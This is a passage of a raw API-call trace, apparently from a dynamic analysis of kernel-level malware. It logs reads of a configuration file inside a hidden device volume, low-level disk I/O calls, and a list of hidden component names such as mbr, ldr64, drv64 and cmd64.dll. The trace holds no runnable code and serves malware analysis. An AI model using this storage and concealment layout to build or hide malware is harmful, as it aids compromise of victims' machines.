dwHighDateTime=0x1d24fa4)) [0121.044] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0121.044] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.044] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.044] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.045] KeEnterCriticalRegion () [0121.045] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.045] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.045] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.045] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.045] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.045] IdePortDispatch () returned 0x103 [0121.045] KeWaitForMutexObject () returned 0x0 [0121.045] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.045] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.045] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.045] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.045] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.045] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc3fb0 [0121.045] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.045] KeLeaveCriticalRegion () [0121.045] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.045] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.045] KeEnterCriticalRegion () [0121.045] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.045] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.045] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.045] KeLeaveCriticalRegion () [0121.045] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.045] KeEnterCriticalRegion () [0121.045] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.045] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.045] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.045] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.046] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.046] IdePortDispatch () returned 0x103 [0121.046] KeWaitForMutexObject () returned 0x0 [0121.046] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.046] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.046] KeLeaveCriticalRegion () [0121.046] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.046] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.046] KeEnterCriticalRegion () [0121.046] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.046] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003549000 [0121.046] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.046] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.046] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.046] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.046] IdePortDispatch () returned 0x103 [0121.046] KeWaitForMutexObject () returned 0x0 [0121.046] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.046] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.047] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.047] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.047] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.047] IdePortDispatch () returned 0x103 [0121.047] KeWaitForMutexObject () returned 0x0 [0121.047] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.047] KeLeaveCriticalRegion () [0121.047] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.048] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.048] KeEnterCriticalRegion () [0121.048] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.048] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.048] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.048] KeLeaveCriticalRegion () [0121.048] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.048] KeEnterCriticalRegion () [0121.048] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.048] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.048] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbd610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.048] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.048] KeLeaveCriticalRegion () [0121.048] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.048] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.048] KeEnterCriticalRegion () [0121.048] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.048] ExFreePoolWithTag (P=0xfffffa8003bc3fb0, Tag=0x0) [0121.048] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.048] KeLeaveCriticalRegion () [0121.048] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.048] ReleaseMutex (hMutex=0xf0) returned 1 [0121.048] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.048] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0121.048] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.048] KeEnterCriticalRegion () [0121.048] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.048] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.048] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.049] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.049] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.049] IdePortDispatch () returned 0x103 [0121.049] KeWaitForMutexObject () returned 0x0 [0121.049] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.049] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.049] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.049] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.049] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.049] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbe240 [0121.049] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.049] KeLeaveCriticalRegion () [0121.049] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.049] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.049] KeEnterCriticalRegion () [0121.049] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.049] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.049] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.049] KeLeaveCriticalRegion () [0121.049] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.049] KeEnterCriticalRegion () [0121.049] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.049] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.049] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.049] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.049] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.049] IdePortDispatch () returned 0x103 [0121.049] KeWaitForMutexObject () returned 0x0 [0121.049] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.049] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.049] KeLeaveCriticalRegion () [0121.049] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.050] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.050] KeEnterCriticalRegion () [0121.050] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.050] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800354a000 [0121.050] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.050] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.050] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.050] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.050] IdePortDispatch () returned 0x103 [0121.050] KeWaitForMutexObject () returned 0x0 [0121.050] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.050] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.050] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.050] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.050] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.050] IdePortDispatch () returned 0x103 [0121.050] KeWaitForMutexObject () returned 0x0 [0121.050] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.050] KeLeaveCriticalRegion () [0121.050] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.051] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.051] KeEnterCriticalRegion () [0121.051] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.051] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.051] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.051] KeLeaveCriticalRegion () [0121.051] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.051] KeEnterCriticalRegion () [0121.051] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.051] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.051] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bba470, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.051] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.051] KeLeaveCriticalRegion () [0121.051] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.051] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.051] KeEnterCriticalRegion () [0121.051] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.051] ExFreePoolWithTag (P=0xfffffa8003bbe240, Tag=0x0) [0121.051] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.051] KeLeaveCriticalRegion () [0121.051] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.051] ReleaseMutex (hMutex=0xf0) returned 1 [0121.051] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0121.051] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0121.051] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.051] KeEnterCriticalRegion () [0121.051] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.051] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.051] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.051] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.051] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.051] IdePortDispatch () returned 0x103 [0121.051] KeWaitForMutexObject () returned 0x0 [0121.052] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.052] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.052] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0121.052] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0121.052] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0121.052] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbda00 [0121.052] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.052] KeLeaveCriticalRegion () [0121.052] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.052] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.052] KeEnterCriticalRegion () [0121.052] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.052] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.052] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.052] KeLeaveCriticalRegion () [0121.052] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.052] KeEnterCriticalRegion () [0121.052] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.052] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.052] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.052] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.052] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0121.052] IdePortDispatch () returned 0x103 [0121.052] KeWaitForMutexObject () returned 0x0 [0121.052] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.052] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.052] KeLeaveCriticalRegion () [0121.052] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.052] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.052] KeEnterCriticalRegion () [0121.052] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.052] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800354b000 [0121.052] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.053] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.053] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.053] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.053] IdePortDispatch () returned 0x103 [0121.053] KeWaitForMutexObject () returned 0x0 [0121.053] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0121.053] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.053] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003aab1d0 [0121.053] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0121.053] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0121.053] IdePortDispatch () returned 0x103 [0121.053] KeWaitForMutexObject () returned 0x0 [0121.053] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.053] KeLeaveCriticalRegion () [0121.053] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.054] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.054] KeEnterCriticalRegion () [0121.054] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.054] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0121.054] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.054] KeLeaveCriticalRegion () [0121.054] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.054] KeEnterCriticalRegion () [0121.054] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.054] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0121.054] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbe070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0121.054] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.054] KeLeaveCriticalRegion () [0121.054] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.054] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0121.054] KeEnterCriticalRegion () [0121.054] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.054] ExFreePoolWithTag (P=0xfffffa8003bbda00, Tag=0x0) [0121.054] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.054] KeLeaveCriticalRegion () [0121.054] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0121.054] ReleaseMutex (hMutex=0xf0) returned 1 [0121.054] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0121.054] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0121.054] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0121.054] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0121.054] KeEnterCriticalRegion () [0121.054] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0121.054] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0121.054] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0121.054] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0121.054] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0121.054] IdePortDispatch () returned 0x103 [0121.054] KeWaitForMutexObject () returned 0x0 [0121.054] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.054] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0121.054] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.055] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.055] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0121.055] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.055] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0121.055] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.055] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0121.055] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0121.055] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.055] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.055] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.055] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0121.055] _strnicmp 